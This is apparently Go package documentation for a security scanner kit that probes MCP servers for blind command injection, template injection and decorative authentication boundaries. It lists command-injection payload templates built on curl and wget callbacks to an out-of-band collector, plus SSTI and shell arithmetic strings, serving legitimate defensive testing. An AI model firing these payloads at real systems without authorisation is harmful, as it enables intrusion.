Documentation
¶
Overview ¶
Package mcpprobe holds the payload and out-of-band-callback kit shared by the MCP probe packages that attack a live server through the protocol layer — internal/probes/mcptool (the tool surface: tools/list + tools/call) and internal/probes/mcpprimitive (the content-bearing primitives: resources/read and prompts/get).
Both surfaces are injection sinks reached by the same two payload families, so the canary construction, the shell-command payload set, the out-of-band collector and the stored-response bound live here rather than being duplicated per package. Only genuinely surface-independent pieces belong here: the tool-schema helpers (parameter parsing, benign argument synthesis) stay in mcptool, because prompt arguments carry no JSON-schema types and need their own builder.
Index ¶
- Constants
- Variables
- func BenignArgs(sig toolsig.Signature, overrides map[toolsig.Path]any) map[string]any
- func BenignCall(sig toolsig.Signature) *toolsig.Call
- func ChangesStateByName(name string) bool
- func ClassifyCallError(err error) error
- func ConventionalPrivilegedNames() []string
- func DeclaredValues(tool map[string]any, param string) []string
- func DeclaredValuesFor(p toolsig.Param, toolDesc string) []string
- func InvokesDestructiveOperation(tm map[string]any) bool
- func IsReadOnlyTool(tm map[string]any) bool
- func IssuedRelation(first, second string) string
- func IssuedRelationIsDerivable(relation string) bool
- func MarkNotTested(a *attempt.Attempt, reason string)
- func RandToken() string
- func ReadsAsRefusal(text string) bool
- func RecordCallFailure(a *attempt.Attempt, err error) bool
- func RedactCredential(v string) string
- func ResponseClass(resp string, values ...string) string
- func ShellProofURL(url, token string) string
- func SplitCamelCase(s string) string
- func ToolSignatures(tool map[string]any) []toolsig.Signature
- func TruncateResponse(s string) string
- func TruncateResponseBytes(b []byte) string
- func ValuesFromResponse(resp string, submitted []string) []string
- func WaitForCallbacks(ctx context.Context, d time.Duration)
- type AnonSession
- type Canary
- type Collector
- type CredentialReporter
Constants ¶
const ( // RelationIdentical — the surface hands every caller the same value. RelationIdentical = "identical" // RelationSequential — a shared prefix with numeric tails one apart. RelationSequential = "sequential" // RelationNearIdentical — a long shared prefix with a trivially small tail. RelationNearIdentical = "near-identical" RelationUnrelated = "unrelated" )
Relations between two independently issued credentials, most to least obvious.
const ( // MetaAuthClass (string) categorises what an attempt tested, so a report can // group by concrete weakness and score by severity tier rather than lumping // every result into one verdict. See the AuthClass* values. MetaAuthClass = "mcpauthz.class" // MetaAuthCredentialsConfigured (bool) records whether the operator // configured any credentials for this target. // // This is the precondition for the whole family. Anonymous success against a // target nobody gave credentials for is trivially true and worthless; the // finding is that a configured boundary was bypassed. A detector must never // score a differential as VULN when this is false. MetaAuthCredentialsConfigured = "mcpauthz.credentials_configured" // #nosec G101 -- metadata key name, not a credential // MetaAuthCredentialHeaders (string) names the credential-bearing headers the // operator configured, comma-separated. Names only — never values — so the // evidence explains WHICH boundary was bypassed without storing a secret. MetaAuthCredentialHeaders = "mcpauthz.credential_headers" // #nosec G101 -- metadata key name; the VALUE it holds is header names only // MetaAuthAnonymousSucceeded (bool) records whether the equivalent request // succeeded over a session carrying no credentials. MetaAuthAnonymousSucceeded = "mcpauthz.anonymous_succeeded" // MetaAuthAuthenticatedSucceeded (bool) records whether the same operation // succeeded over the operator's authenticated session — the control that // proves the probe was able to exercise the target at all. Anonymous success // while this is false is suspect (the endpoint may be answering everything // with an error) and is scored inconclusive, not vulnerable. MetaAuthAuthenticatedSucceeded = "mcpauthz.authenticated_succeeded" // MetaAuthOAuthDeclaration (string) records how a target declared itself // authorization-gated -- the WWW-Authenticate value it returned and/or the // discovery documents it publishes. Verbatim server output, so a reviewer can // re-fetch and confirm. MetaAuthOAuthDeclaration = "mcpauthz.oauth_declaration" // MetaAuthTargetClass (string) buckets the endpoint host by reachability: // "loopback", "lan", "public", "unresolvable". A publicly reachable server // with a decorative auth boundary is critical; a loopback development server // behaving identically is expected and scored inconclusive. MetaAuthTargetClass = "mcpauthz.target_class" // MetaAuthTool (string) is the tool an attempt invoked, when any. MetaAuthTool = "mcpauthz.tool" // MetaAuthParam (string) is the tool parameter an attempt targeted, when any. MetaAuthParam = "mcpauthz.param" // MetaAuthControl (string) is the response the CONTROL call returned — the // baseline an attempt's own output is compared against. Adjudication is a // comparison between the two recorded responses, never a search for a // success or denial string, so it carries no server-specific assumptions. MetaAuthControl = "mcpauthz.control_response" // MetaAuthControlLabel (string) describes, in plain words, what the control // call was, so a reviewer can read the evidence without the probe source. MetaAuthControlLabel = "mcpauthz.control_label" // MetaAuthControl2Value / MetaAuthControl2Response record a SECOND, // independent unprivileged control — a different value that is equally // unentitled. // // It separates "this value reached more authority" from "this target's // responses simply vary with the value". One control cannot tell those apart: // any difference could be the privilege or could be the string. Two // unprivileged controls that agree with each other, and a probe response // differing from both, isolates the privilege as the cause. MetaAuthControl2Value = "mcpauthz.control2_value" // MetaAuthControl2Response is the response to the second control value. MetaAuthControl2Response = "mcpauthz.control2_response" // MetaAuthProbeValue (string) is the value the attempt sent in the targeted // parameter. Recorded so the detector can mask it out of both responses // before comparing them: servers routinely echo the submitted value, which // would otherwise make every response differ and defeat the comparison. MetaAuthProbeValue = "mcpauthz.probe_value" // MetaAuthControlValue (string) is the value the control call sent in the // same parameter, masked for the same reason. MetaAuthControlValue = "mcpauthz.control_value" // MetaAuthReplicaValue (string) is a SECOND, independently generated value of // the same shape as MetaAuthProbeValue, and MetaAuthReplicaResponse is what // the target answered for it. // // The replica is what separates "the target's answer depends on the value's // SHAPE" from an endpoint whose responses simply vary. Both random values were // certainly never issued, so a target performing a real issuance lookup must // answer them the same way it answers any other unissued value — including the // malformed control. A target that answers the two alike but the control // differently is discriminating on shape, not on issuance. MetaAuthReplicaValue = "mcpauthz.replica_value" // MetaAuthIssuedRelation (string) is the PROBE's verdict on how two // independently issued credentials relate: identical, sequential, // near-identical or unrelated (see IssuedRelation). // // The probe compares and the detector reads the answer, rather than the // detector comparing the values itself, because both values are LIVE // credentials the target just issued. Storing them for later comparison would // put working credentials in the attempt metadata, the JSONL report and every // downstream consumer, turning a scan artifact into a credential store. MetaAuthIssuedRelation = "mcpauthz.issued_relation" // MetaAuthIssuedEvidence (string) is the redacted rendering of the two issued // credentials — lengths and short leading fragments — so a reviewer can tell // them apart and match them against server logs without the report carrying // the credentials themselves. MetaAuthIssuedEvidence = "mcpauthz.issued_evidence" // MetaAuthReplicaResponse (string) is the response to the replica value. MetaAuthReplicaResponse = "mcpauthz.replica_response" // MetaAuthShapeFamily (string) names the generic structural family the probe // value was drawn from (hex, uuid, base64url, ...). Recorded for the reviewer; // the verdict never depends on WHICH family hit, only on the differential. MetaAuthShapeFamily = "mcpauthz.shape_family" // MetaAuthDeclaredValues (string) lists the values the target itself declared // for the parameter (JSON-schema enum, or values documented in its // description), comma-separated. Recorded so a reviewer can confirm the probe // tried what the target advertised rather than a guessed vocabulary. MetaAuthDeclaredValues = "mcpauthz.declared_values" )
Attempt-metadata keys for the MCP authentication / authorization probe family (LAB-5569). They live here, rather than being duplicated per package, because each key is written by a probe in internal/probes/... and read by its detector in internal/detectors/..., so a single definition is what keeps the two halves from silently drifting apart on a typo.
const ( // AuthClassAuthBaseline is the authenticated control. Informational only: it // establishes that the target is reachable and answers the operator, and is // never itself a finding. AuthClassAuthBaseline = "auth-baseline" // AuthClassOAuthDeclaredOpen is a credential-free session that SUCCEEDED // against a target which publicly declares itself authorization-gated (an // RFC 9728 / RFC 8414 discovery document, or a WWW-Authenticate challenge). // // It exists to close the one gap the credentials differential cannot: with no // operator credentials, "the anonymous session worked" is uninterpretable, // because public-by-design and catastrophically-open are identical on the // wire. A server that publishes those documents has stated which it is, so // its own declaration supplies the intent that operator credentials would // otherwise have to. AuthClassOAuthDeclaredOpen = "oauth-declared-open" // AuthClassAnonEnumeration is catalog enumeration over a credential-free // session. Serious: it discloses the target's whole attack surface to an // unauthenticated caller and needs no state change to prove, which is why it // carries the headline finding. AuthClassAnonEnumeration = "anon-enumeration" // AuthClassAnonInvocation is a read-only tool invocation over a // credential-free session. Critical: it proves the unauthenticated caller can // make the server ACT, not merely describe itself. AuthClassAnonInvocation = "anon-invocation" // AuthClassTokenFormatOnly is a verification surface that accepts a // well-formed but never-issued value — validating a value's shape instead of // whether it was ever issued. AuthClassTokenFormatOnly = "token-format-only" // AuthClassTokenPredictable is an issuing surface whose tokens are related // across two closely-spaced requests, so one holder can derive another's. AuthClassTokenPredictable = "token-predictable" // AuthClassCredentialPresence is a privileged operation where the mere // PRESENCE of a credential parameter changes the outcome, regardless of the // value — the parameter is checked for existence, not validity. AuthClassCredentialPresence = "credential-presence" // #nosec G101 -- classification tag, not a credential // AuthClassPrivilegeDiscriminator is a parameter that selects an authority // level, where some value reaches behaviour the target's own declared values // do not. The finding is the differential in authorization behaviour, never // the presence of any particular string. AuthClassPrivilegeDiscriminator = "privilege-discriminator" )
Attempt classes. Each names a distinct weakness so findings group by cause and score by severity, rather than collapsing into a single verdict.
const MaxResponseBytes = 10 << 20 // 10 MiB
MaxResponseBytes bounds how much of a single protocol response is stored per attempt output. 10 MiB is far above where a real leaked credential or file signature appears, so it avoids the false negative a small (1 MiB) cap caused — where evidence past the boundary was hidden before scoring — while still bounding report memory against a hostile or simply enormous response.
Variables ¶
var OOBCmdFormats = []string{
"; curl -s -m 3 %s",
"| curl -s -m 3 %s",
"& curl -s -m 3 %s",
"&& curl -s -m 3 %s",
"$(curl -s -m 3 %s)",
"`curl -s -m 3 %s`",
"; wget -qO- -T 3 %s",
"\ncurl -s -m 3 %s",
"' ; curl -s -m 3 %s ; #",
"\" ; curl -s -m 3 %s ; #",
}
OOBCmdFormats are OS-command-injection payload templates. Each embeds a single canary URL (the %s): a sink that passes the value to a shell (directly or via os/system, subprocess with shell=True, backtick eval, etc.) will fetch the URL, producing an out-of-band callback on the collector. This catches BLIND command injection — the sink runs but returns nothing to the client — which the computed-arithmetic PayloadFormats above cannot, since they rely on the result being reflected in-band. The separators cover POSIX shells (`;`, `|`, `&&`, newline, `$(...)`, backticks) and Windows cmd (`&`); curl and wget both ship on modern Linux/macOS and curl ships on Windows 10+. Every fetch carries a short timeout (`-m`/`-T`) so a target whose OS silently blackholes the connection to an unroutable collector can't hang a sequential probe for minutes.
var PayloadFormats = []string{
"%d*%d",
"{{%d*%d}}",
"${%d*%d}",
"#{%d*%d}",
"$((%d*%d))",
"; expr %d \\* %d",
"$(expr %d \\* %d)",
"`expr %d \\* %d`",
}
PayloadFormats render the same multiplication across the injection classes we cover: bare expression/eval, template engines (SSTI), and shell.
Functions ¶
func BenignArgs ¶ added in v0.14.19
BenignArgs is BenignCall plus overrides, rendered as the argument object to send. Overrides are addressed by PATH, so a value destined for a parameter nested inside an object lands where the server reads it rather than beside the object it belongs in.
func BenignCall ¶ added in v0.14.21
BenignCall builds a call for one signature with a harmless placeholder in every REQUIRED parameter, so the call reaches the target's logic instead of failing argument validation first.
A call rejected for a missing required argument tells us nothing about authorization, which is why the placeholders matter: without them a probe would mistake schema validation for an access denial.
The caller gets the Call rather than the arguments so it can Set the value it is testing and Unset the one it needs ABSENT — the omitted-versus-forged comparison at the heart of the credential-presence check needs both.
func ChangesStateByName ¶ added in v0.14.19
ChangesStateByName reports whether a tool's NAME suggests invoking it would change state (mutate or destroy). Used to keep the read-only invocation proof from performing a write; handles camelCase.
func ClassifyCallError ¶ added in v0.14.21
ClassifyCallError marks an error the TARGET produced, as distinct from one the transport produced.
A JSON-RPC error object can only have come from the server: it arrived over a working connection, in answer to a request the server parsed. But arriving is not the same as being REFUSED, and only refusal means the argument was tested.
Only codes that reject the REQUEST count:
-32700 parse error -32600 invalid request -32601 method not found -32602 invalid params
Each says the server declined to act on what it was given — a completed test with a negative result.
-32603 (internal error) and the server-defined range (-32000..-32099) say the opposite: the server accepted the request and then something went wrong while running it. Treating those as refusals would let a payload that CRASHED a handler be recorded as an argument the target considered and rejected, which is both false and exactly backwards — a handler failing on our input is closer to a finding than to a clean result. They stay errors, so they surface as untested rather than as a pass.
A dropped connection, a timeout or a TLS failure carries no answer at all and is left as the plain error it is.
The wrapping is additive. The original error is preserved for its message and its own chain, so a caller that does not care about the distinction sees exactly what it saw before.
func ConventionalPrivilegedNames ¶ added in v0.14.19
func ConventionalPrivilegedNames() []string
ConventionalPrivilegedNames returns the small, conventional set of privileged identity and role names a practitioner would try against ANY target.
This list is the deliberate boundary between legitimate testing and overfitting. Trying conventional names is what a pentester does on every engagement, and a finding built on them generalises. Copying a magic value out of a particular server's source would score a point on that server and find nothing anywhere else — so no such value appears here, and the list is capped by a test to stop it drifting into a corpus-specific wordlist.
The verdict never depends on WHICH name hit, only on the differential: a call that succeeded where an equivalent call with a target-declared value was refused. A target whose privileged value is not in this list is reported as not vulnerable, which is the honest answer — the probe found no authorization differential it could demonstrate.
func DeclaredValues ¶ added in v0.14.19
DeclaredValues returns the values the TARGET ITSELF declares for a parameter, in precedence order:
- the parameter's JSON-schema "enum" — the most explicit declaration;
- quoted or slash-alternated values in the parameter's own schema description;
- quoted or slash-alternated values on the parameter's line in the TOOL description's "Args:" block.
Source 3 matters more than it looks. Servers built on the common Python MCP frameworks put per-parameter documentation in the tool's docstring, not in the parameter schema, so the values such a target advertises are ONLY discoverable there. A probe reading the schema alone would find nothing to try and would be pushed towards guessing — which is the failure mode this function exists to avoid.
It returns only what the target advertises. It never invents a value, so an empty result honestly means "this target declares nothing here", and the caller decides what to do about that. Parameters are matched by LEAF name across every call signature, first match winning, so a parameter nested inside an object is found by the same name a probe and a docstring both refer to it by. Where two signatures declare the same leaf name with different values, this returns the first — a lower bound, which is why the per-parameter form below exists for callers that already hold the parsed parameter and need no name matching at all.
func DeclaredValuesFor ¶ added in v0.14.21
DeclaredValuesFor is DeclaredValues for a parameter that has already been parsed out of the schema, applying the same three sources in the same order.
A caller iterating a signature's parameters holds the exact parameter, so it should use this rather than search by name: a name is ambiguous across conditional branches and across nested objects, and the parameter is not.
func InvokesDestructiveOperation ¶ added in v0.14.19
InvokesDestructiveOperation reports whether invoking this tool should be considered state-destroying in the ABSENCE of a definitive server annotation.
This exists because internal/toolpolicy deliberately keeps unannotated tools: its documented rationale is that "a scanner's worst outcome is a silent false negative, and most servers ship no hints at all". That trade is right for a probe that sends a PAYLOAD to a tool — the payload is inert, and skipping the tool costs coverage for nothing.
It is the wrong trade for a probe whose method IS invoking the privileged operation. There, "unknown" plus a name like `delete_user` or `shutdown_server` means the probe's own evidence-gathering is the damage. Measured: most real servers ship no annotations, so the unannotated case is the common case rather than the exception, and `mcptool.FunctionAuthorization`'s privileged-name vocabulary explicitly includes delete, shutdown, restart, revoke and exec.
Precedence mirrors IsReadOnlyTool, inverted:
ReadOnly annotation → not destructive (authoritative) Destructive annotation → destructive (authoritative) no annotation + hit → destructive (conservative) no annotation + no hit → not destructive
A caller that wants the old behaviour opts in explicitly; the coverage lost is reported loudly rather than silently, so a narrowed sweep is never mistaken for a clean result.
func IsReadOnlyTool ¶ added in v0.14.19
IsReadOnlyTool reports whether a tool is safe to invoke as the unauthenticated invocation proof.
It is deliberately CONSERVATIVE, and the asymmetry is the point: a server annotation is authoritative in both directions, but in its absence only a recognised read-only name qualifies. An unrecognised name is treated as potentially state-changing, because the enumeration finding already carries the headline verdict — so this probe never needs to mutate a customer's state to make its case, and a wrong guess here would be far more costly than a missed invocation proof.
func IssuedRelation ¶ added in v0.14.19
IssuedRelation classifies how two independently issued credentials relate, deciding whether a holder of one could derive the other.
Structural only: no format is assumed and no wordlist consulted. A properly random pair trips none of the tests.
This lives in the shared kit rather than in the detector because the PROBE must perform the comparison. Both values are live credentials the target just issued, so storing them for a detector to compare later would put working credentials in the scan report, the JSONL and every downstream consumer. The probe compares them in memory and records only the relation plus redacted evidence — the same division of labour the BOLA controls use, for a different reason.
func IssuedRelationIsDerivable ¶ added in v0.14.19
IssuedRelationIsDerivable reports whether a relation means one credential could be derived from the other.
func MarkNotTested ¶ added in v0.14.21
MarkNotTested records that an attempt never reached the point of testing anything, and why.
The reason is mandatory. An attempt that says only "not tested" moves the question from the report to whoever reads it, and the whole purpose of the flag is to make the gap answerable from the output.
func RandToken ¶
func RandToken() string
RandToken returns a random 16-hex-char token for canaries/OOB paths.
func ReadsAsRefusal ¶ added in v0.14.19
ReadsAsRefusal reports whether a tool response reads as the server refusing the request.
It has two distinct uses, and the distinction matters:
- A detector uses it to ADJUDICATE: a probe response that reads as a refusal scores 0.0 (the probe reached nothing), and a control that reads as a refusal where the probe was served scores 1.0. In the UNRECOGNISED direction it only withholds confidence — a control refusal it cannot read degrades to inconclusive rather than to a silent clean pass, so a server refusing in another language is not wrongly cleared. But the RECOGNISED direction is a text match on a shared vocabulary, so it is only as good as that vocabulary: a SERVED response that merely contains a refusal word (a success envelope with `"error": null`, a `"0 failed"` count) can be misread as a refusal, in either the 0.0 or the 1.0 direction. Replacing this text sniff with the structural signal the transport already carries (ToolResult.IsError) is tracked in LAB-5841; the vocabulary cannot be safely narrowed instead, because the same words carry real refusal meaning in a genuine refusal.
- A probe uses it to TARGET further calls — a refusal is exactly the response worth retrying with a credential attached, to find out whether the refusal enforces anything. That is a targeting heuristic, not a verdict, in the same spirit as the URL-parameter matching that focuses the SSRF probe.
One definition serves both so the two halves cannot drift apart.
func RecordCallFailure ¶ added in v0.14.21
RecordCallFailure records the outcome of a tool call that returned an error, putting the attempt into the state that describes what actually happened.
Two outcomes, and conflating them is the defect this exists to remove:
REFUSED — the call reached the target and the target rejected it. The
argument WAS tested; the answer was no. The attempt completes,
carrying the refusal as its evidence.
NOT TESTED — nothing reached the target, or nothing came back. Nothing is
known about the argument. The attempt errors and says so.
Recording a refusal as an error is not a harmless over-report. On a server that validates its arguments strictly, most attempts are refusals, so most of the scan reads as broken and the operator learns to ignore the error count — at which point a genuine "we never tested this" is invisible. Recording a failure to test as a pass is the opposite error and the worse one; neither is acceptable, which is why they are separated rather than merged in either direction.
It returns true when the attempt was TESTED, so a caller can decide whether it still has a comparison to draw.
func RedactCredential ¶ added in v0.14.19
RedactCredential renders a credential as evidence a reviewer can act on without reproducing the credential itself: its length and a short leading fragment, so two values can be told apart in a report and matched against server logs.
Deliberately lossy. The verdict travels as IssuedRelation, so nothing downstream needs the full value, and a scan report should never be a credential store.
func ResponseClass ¶ added in v0.14.19
ResponseClass normalises a response into a comparable equivalence class: the submitted values are masked out and whitespace and case are collapsed.
Masking is what makes response comparison possible at all. Servers routinely echo the value they were given, so without it every response would differ from every other and any comparison would "find" a difference on every target.
Longest values are masked first so that one value which is a substring of another cannot partially mask it and leave a fragment behind.
func ShellProofURL ¶
ShellProofURL rewrites a collector canary URL so that only actual shell execution reproduces the tracked token. It splices an empty command substitution ("$()") into the middle of the token: a POSIX shell evaluating the argument collapses "$()" to nothing, requesting the real /oob/<token> path the collector tracks — command-execution-specific proof a plain URL fetch cannot forge. A sink that instead extracts and fetches the literal URL from the argument text requests a "...$()..." path, whose token does not match the tracked one, so an SSRF / link-fetch sink cannot masquerade as command injection. (On Windows cmd.exe "$()" is not a no-op, so cmd-only sinks may be missed — a false negative, the safe direction.)
func SplitCamelCase ¶ added in v0.14.19
SplitCamelCase inserts an underscore at each camelCase word boundary so a name written without separators still matches the -_.-anchored vocabularies.
func ToolSignatures ¶ added in v0.14.21
ToolSignatures parses a tool in the canonical Conversation.Tools wire shape (a map with a "parameters" JSON-schema object) into the concrete calls the tool accepts.
This replaced a flat reader that looked at top-level "properties" and nothing else. That reader was wrong twice over on any schema the MCP specification permits but a hand-written parser does not: a parameter nested inside an object was invisible, and a parameter declared only under a conditional branch did not exist at all. The calls it built were rejected by the server during argument validation, and the probes recorded the tool as having been tested. See internal/toolsig.
A tool with no "parameters" key takes no arguments, and yields one signature with no parameters — a description of the tool, not a failure. A schema that is present but unreadable yields nothing, because a surface we could not parse is one we cannot honestly claim to have tested.
func TruncateResponse ¶
TruncateResponse caps s to MaxResponseBytes, appending a marker when it cuts so a truncated output is distinguishable from one that happened to end there.
func TruncateResponseBytes ¶
TruncateResponseBytes caps a raw byte payload to MaxResponseBytes and only then converts it to a string. Truncating before the []byte-to-string conversion avoids materializing the entire (possibly huge/hostile) payload as a string first, so the cap bounds the allocation rather than merely the stored output.
func ValuesFromResponse ¶ added in v0.14.19
ValuesFromResponse extracts candidate parameter values the TARGET disclosed in its own response, excluding any value the probe itself submitted (servers echo them, and re-trying our own input discovers nothing).
This is the third and most productive source of target-declared values, after a schema enum and the documented description. Servers routinely refuse an unrecognised value with a helpful message that enumerates the accepted ones, and harvesting that list is a standard technique on any engagement: the values come from the target at runtime.
The distinction from overfitting is the point. Reading a value out of a particular server's source and shipping it in the probe would score against that server and find nothing anywhere else. Reading a value the server VOLUNTEERS is a capability that generalises to every target with a talkative error path — and it is why this probe can reach a privileged value that appears nowhere in the advertised tool catalogue without carrying any knowledge of it.
Types ¶
type AnonSession ¶ added in v0.14.19
type AnonSession struct {
// contains filtered or unexported fields
}
AnonSession is a live MCP client session established over a transport that carries NONE of the operator's configured credentials. It models the unauthenticated attacker: someone who knows the endpoint URL and nothing else.
It deliberately mirrors types.ToolInvoker (ListTools / CallTool with identical signatures) so a probe can run the same enumeration and invocation logic against the authenticated generator and this anonymous session, then compare — which is the whole point. The differential is the finding; neither side alone is one.
Credentials are excluded structurally, not by convention: the session is built on types.MCPEndpoint.AnonymousHTTPClient(), which strips the header-injection middleware while keeping proxy and TLS settings. Sending the operator's token would make a correctly-hardened server accept us because we are authenticated, not because it is vulnerable, inverting the verdict on exactly the targets the probe most needs to get right.
func ConnectAnonymous ¶ added in v0.14.19
func ConnectAnonymous(ctx context.Context, end types.MCPEndpoint, timeout time.Duration) (*AnonSession, error)
ConnectAnonymous establishes an anonymous MCP session against end's endpoint.
The transport is taken from end.Transport(); an empty or "auto" value is resolved by trying both HTTP-based transports, preferring the one the endpoint path hints at (a path ending in /sse means legacy HTTP+SSE). Trying both matters because a helper that spoke only streamable HTTP would silently skip every legacy-SSE server and report nothing — a false negative dressed as a clean scan.
An error means the target refused the anonymous session (or is unreachable), which is the SAFE signal for an unauthenticated-access probe. Callers must record it as evidence rather than discard it: "the server refused us" and "we never asked" have to stay distinguishable.
func (*AnonSession) CallTool ¶ added in v0.14.19
func (s *AnonSession) CallTool(ctx context.Context, name string, args map[string]any) (types.ToolResult, error)
CallTool invokes the named tool over the anonymous session. Matches types.ToolInvoker.CallTool: a tool-level (application) error surfaces via ToolResult.IsError — itself a valid security observation — and only transport/protocol failures return an error.
func (*AnonSession) Close ¶ added in v0.14.19
func (s *AnonSession) Close()
Close tears down the session and cancels the context owning its stream.
func (*AnonSession) ListTools ¶ added in v0.14.19
ListTools enumerates the target's advertised tools in the canonical Conversation.Tools wire shape, matching types.ToolInvoker.ListTools so the authenticated and anonymous catalogs are directly comparable.
Pagination is deliberately NOT followed here. This session exists to answer "does the endpoint serve an unauthenticated caller at all", and the first page settles that; a probe must never draw a per-tool conclusion from this catalog without accounting for truncation.
func (*AnonSession) Transport ¶ added in v0.14.19
func (s *AnonSession) Transport() string
Transport reports the transport the anonymous session actually connected over.
type Canary ¶
Canary is a computed-arithmetic injection canary. Each payload, if the target evaluates it, yields Marker (the product) in the output. The marker never appears literally in any payload, so a sink that merely echoes its input back cannot produce a false positive — the failure mode that makes echo-based detection useless against direct protocol calls.
type Collector ¶
type Collector struct {
// contains filtered or unexported fields
}
Collector is a built-in out-of-band interaction listener. A probe injects URLs that point at it; a target that fetches such a URL triggers a recorded callback, confirming the sink reached the network even when it returns nothing to the client (the blind case). Every response also carries a body marker so a sink that DOES return the fetched content can be caught by reflection as a second signal.
Deployment note: against a REMOTE target the collector must be reachable from that target, so the loopback default will not receive callbacks. Prefer setting oob_base_url to a controlled redirector you own and that forwards to this listener, rather than binding oob_listen to a public interface — exposing a raw port on the scanner host puts an unauthenticated listener on the network. A non-loopback bind is warned about at start-up.
func StartCollector ¶
StartCollector binds an HTTP listener and starts serving. listen is the bind address (host:port; "127.0.0.1:0" for an ephemeral port). baseOverride, when set, is the URL the *target* should use to reach the collector (for targets that cannot reach the bind address directly, e.g. via a tunnel); otherwise the base is derived from the actual listen address.
func (*Collector) URL ¶
URL returns the canary URL for a token and records the token as issued. Every tracked token reaches the target through this method, so registering here is what lets the handler ignore callbacks for tokens the collector never handed out.
It also tightens ShellProofURL: a sink that fetches the literal "…$()…" path instead of executing it requests a token that was never issued, so the hit is discarded rather than stored.
type CredentialReporter ¶ added in v0.14.19
type CredentialReporter interface {
// ConfiguredCredentialHeaders returns the sorted names of the request
// headers the generator injects that carry operator-supplied credential
// material. Empty or nil means no authentication boundary was configured for
// this target, so anonymous success proves nothing about it.
ConfiguredCredentialHeaders() []string
}
CredentialReporter is an OPTIONAL capability a Generator declares when it can report WHETHER the operator configured credentials for the target — never what they are.
It exists because an unauthenticated-access finding is only meaningful as a DIFFERENTIAL. "The anonymous session worked" is trivially true against a server the operator never supplied credentials for, so a probe firing on that alone is a false-positive generator that would discredit itself on its first engagement. The defensible claim is narrower: an authentication boundary WAS configured and the target served an equivalent anonymous caller anyway — the boundary is decorative.
Answering that requires the operator's intent, and no amount of target-side observation supplies it: a server with no authentication is indistinguishable on the wire from a server whose authentication layer never runs. Nor can it be recovered from the two clients types.MCPEndpoint already exposes — HTTPClient and AnonymousHTTPClient differ only in a RoundTripper the caller cannot see inside, and the credential-injecting transport deliberately withholds headers from any host other than the configured endpoint, so a probe-local sink observes nothing. Hence an explicit declaration.
Implementations return the NAMES of the credential-bearing request headers they would inject, never the values: names establish the precondition and explain the finding while keeping operator secrets out of attempt metadata, JSONL output, and rendered reports.
Satisfaction is structural (Go implicit interfaces), so the generator package need not import this one. A generator that cannot report this simply lacks the method; probes type-assert and treat a failed assertion — or an empty result — as "cannot assess", which is a SKIP with a stated reason, never a clean pass. This mirrors types.ToolInvoker / MCPReconnaissance / MCPEndpoint: capability is declared structurally and an undeclared capability is a skip, not an error.